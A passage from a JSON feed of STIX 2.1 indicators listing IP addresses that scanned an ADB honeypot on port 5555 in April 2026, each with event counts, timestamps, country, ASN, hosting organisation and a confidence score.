      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-01T02:13:44.000Z",
          "last_seen": "2026-04-01T02:24:04.766Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-01T04:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=48; ports=5555; cc=RO; asn=47890; asn_org=Unmanaged Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=347 | first_seen=2026-04-01T03:55:20.000Z | last_seen=2026-04-25T14:24:27.460Z | ports=5555 | cc=RO | asn=47890 | org=Unmanaged Ltd",
      "id": "indicator--f1c04873-7208-4f7a-8d22-ad5028350d27",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '193.32.162.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T04:00:10.000Z",
      "valid_until": "2026-05-03T04:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 347,
          "first_seen": "2026-04-01T03:55:20.000Z",
          "last_seen": "2026-04-25T14:24:27.460Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RO"
          ],
          "asn": [
            "47890"
          ],
          "org": [
            "Unmanaged Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-01T04:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=DE; asn=51396; asn_org=Pfcloud UG (haftungsbeschrankt); adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=46 | first_seen=2026-04-01T03:09:34.000Z | last_seen=2026-04-01T23:27:24.972Z | ports=5555 | cc=DE | asn=51396 | org=Pfcloud UG (haftungsbeschrankt)",
      "id": "indicator--30a8200c-53fb-4fb1-9eb7-8a4fe58bd53b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.135.194.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T04:00:10.000Z",
      "valid_until": "2026-05-03T04:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 46,
          "first_seen": "2026-04-01T03:09:34.000Z",
          "last_seen": "2026-04-01T23:27:24.972Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "51396"
          ],
          "org": [
            "Pfcloud UG (haftungsbeschrankt)"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-01T04:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=9 | first_seen=2026-04-01T03:50:29.000Z | last_seen=2026-04-01T04:00:35.521Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--cc0f9641-d1c4-4acf-8690-876185165e80",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T04:00:10.000Z",
      "valid_until": "2026-05-03T04:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 9,
          "first_seen": "2026-04-01T03:50:29.000Z",
          "last_seen": "2026-04-01T04:00:35.521Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-01T04:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-01T03:49:55.000Z | last_seen=2026-04-01T03:51:01.217Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--e3fdae8f-0082-419a-98c6-ac5528695661",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T04:00:10.000Z",
      "valid_until": "2026-05-03T04:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-01T03:49:55.000Z",
          "last_seen": "2026-04-01T03:51:01.217Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-01T04:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=DE; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=14 | first_seen=2026-04-01T03:35:47.000Z | last_seen=2026-04-01T05:30:42.016Z | ports=5555 | cc=DE | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--d1a2b8f0-55a3-4f22-b2b8-4ff30c3ef83d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '85.90.246.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T04:00:10.000Z",
      "valid_until": "2026-05-03T04:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 14,
          "first_seen": "2026-04-01T03:35:47.000Z",
          "last_seen": "2026-04-01T05:30:42.016Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-01T04:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=BG; asn=50360; asn_org=Tamatiya EOOD; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=10 | first_seen=2026-04-01T03:01:07.000Z | last_seen=2026-04-09T00:26:26.779Z | ports=5555 | cc=BG | asn=50360 | org=Tamatiya EOOD",
      "id": "indicator--11d2cd60-b535-4655-b037-0d94547c6a66",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.148.190.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T04:00:10.000Z",
      "valid_until": "2026-05-03T04:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 10,
          "first_seen": "2026-04-01T03:01:07.000Z",
          "last_seen": "2026-04-09T00:26:26.779Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BG"
          ],
          "asn": [
            "50360"
          ],
          "org": [
            "Tamatiya EOOD"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-01T07:00:11.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=24; ports=5555; cc=KR; asn=9318; asn_org=SK Broadband Co Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=24 | first_seen=2026-04-01T06:22:55.000Z | last_seen=2026-04-01T06:33:55.135Z | ports=5555 | cc=KR | asn=9318 | org=SK Broadband Co Ltd",
      "id": "indicator--e013f9ff-e3d6-4b4c-8725-5ebfe32157fb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '221.138.202.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T07:00:11.000Z",
      "valid_until": "2026-05-03T07:00:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 24,
          "first_seen": "2026-04-01T06:22:55.000Z",
          "last_seen": "2026-04-01T06:33:55.135Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "9318"
          ],
          "org": [
            "SK Broadband Co Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-01T12:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=DE; asn=215590; asn_org=DpkgSoft International Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=9 | first_seen=2026-04-01T11:17:32.000Z | last_seen=2026-04-01T11:27:39.962Z | ports=5555 | cc=DE | asn=215590 | org=DpkgSoft International Limited",
      "id": "indicator--86ddce71-4ff0-4e77-b7c1-f97ec3bd39de",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '144.31.186.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T12:00:02.000Z",
      "valid_until": "2026-05-03T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 9,
          "first_seen": "2026-04-01T11:17:32.000Z",
          "last_seen": "2026-04-01T11:27:39.962Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "215590"
          ],
          "org": [
            "DpkgSoft International Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-01T12:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=17 | first_seen=2026-04-01T11:57:43.000Z | last_seen=2026-04-01T12:08:01.729Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--ede08bf6-4651-4414-9cbc-1111e268bbc3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.23.193.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T12:00:02.000Z",
      "valid_until": "2026-05-03T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 17,
          "first_seen": "2026-04-01T11:57:43.000Z",
          "last_seen": "2026-04-01T12:08:01.729Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-01T13:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=140527; asn_org=China Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=25 | first_seen=2026-04-01T12:26:32.000Z | last_seen=2026-04-25T11:14:08.938Z | ports=5555 | cc=CN | asn=140527 | org=China Telecom",
      "id": "indicator--23c078f3-4615-4c1c-a202-973bcf54353e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '117.68.74.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T13:00:02.000Z",
      "valid_until": "2026-05-03T13:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 25,
          "first_seen": "2026-04-01T12:26:32.000Z",
          "last_seen": "2026-04-25T11:14:08.938Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "140527"
          ],
          "org": [
            "China Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-01T13:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=CN; asn=140527; asn_org=China Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=16 | first_seen=2026-04-01T12:26:33.000Z | last_seen=2026-04-12T05:00:42.360Z | ports=5555 | cc=CN | asn=140527 | org=China Telecom",
      "id": "indicator--46c7930b-81b7-42fa-b84a-a6848c768eed",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '117.68.74.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T13:00:02.000Z",
      "valid_until": "2026-05-03T13:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 16,
          "first_seen": "2026-04-01T12:26:33.000Z",
          "last_seen": "2026-04-12T05:00:42.360Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "140527"
          ],
          "org": [
            "China Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-01T13:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=18; ports=5555; cc=US; asn=207990; asn_org=HostRoyale Technologies Pvt Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=93 | first_seen=2026-04-01T12:13:17.000Z | last_seen=2026-04-06T11:22:13.793Z | ports=5555 | cc=US | asn=207990 | org=HostRoyale Technologies Pvt Ltd",
      "id": "indicator--1b721697-f5c8-4f47-8d58-48e72ed8c152",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.141.119.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T13:00:02.000Z",
      "valid_until": "2026-05-03T13:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 93,
          "first_seen": "2026-04-01T12:13:17.000Z",
          "last_seen": "2026-04-06T11:22:13.793Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "207990"
          ],
          "org": [
            "HostRoyale Technologies Pvt Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-01T16:00:11.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-01T15:47:26.000Z | last_seen=2026-04-01T15:48:27.656Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--1b43aaed-8b76-45a2-a4fe-15b1c65c4bc3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.239.62.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T16:00:11.000Z",
      "valid_until": "2026-05-03T16:00:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-01T15:47:26.000Z",
          "last_seen": "2026-04-01T15:48:27.656Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-01T16:00:11.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=1; ports=5555; cc=IR; asn=213790; asn_org=Limited Network LTD; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=63 | first_seen=2026-04-01T14:59:24.000Z | last_seen=2026-04-22T08:22:18.804Z | ports=5555 | cc=IR | asn=213790 | org=Limited Network LTD",
      "id": "indicator--be071703-683d-47ca-95b1-c1c300a940d1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T16:00:11.000Z",
      "valid_until": "2026-05-03T16:00:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 63,
          "first_seen": "2026-04-01T14:59:24.000Z",
          "last_seen": "2026-04-22T08:22:18.804Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "IR"
          ],
          "asn": [
            "213790"
          ],
          "org": [
            "Limited Network LTD"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-01T17:00:07.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=IR; asn=213790; asn_org=Limited Network LTD; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=52 | first_seen=2026-04-01T16:09:31.000Z | last_seen=2026-04-22T08:22:21.717Z | ports=5555 | cc=IR | asn=213790 | org=Limited Network LTD",
      "id": "indicator--05d2696e-b8d7-4531-b8a4-7098ea3d61b8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T17:00:07.000Z",
      "valid_until": "2026-05-03T17:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 52,
          "first_seen": "2026-04-01T16:09:31.000Z",
          "last_seen": "2026-04-22T08:22:21.717Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "IR"
          ],
          "asn": [
            "213790"
          ],
          "org": [
            "Limited Network LTD"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-01T18:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=CA; asn=209334; asn_org=Modat B.V.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-01T17:18:57.000Z | last_seen=2026-04-01T17:29:06.316Z | ports=5555 | cc=CA | asn=209334 | org=Modat B.V.",
      "id": "indicator--01e084d7-7717-4cf9-9573-8825a249c39b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '85.217.149.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T18:00:03.000Z",
      "valid_until": "2026-05-03T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-01T17:18:57.000Z",
          "last_seen": "2026-04-01T17:29:06.316Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CA"
          ],
          "asn": [
            "209334"
          ],
          "org": [
            "Modat B.V."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
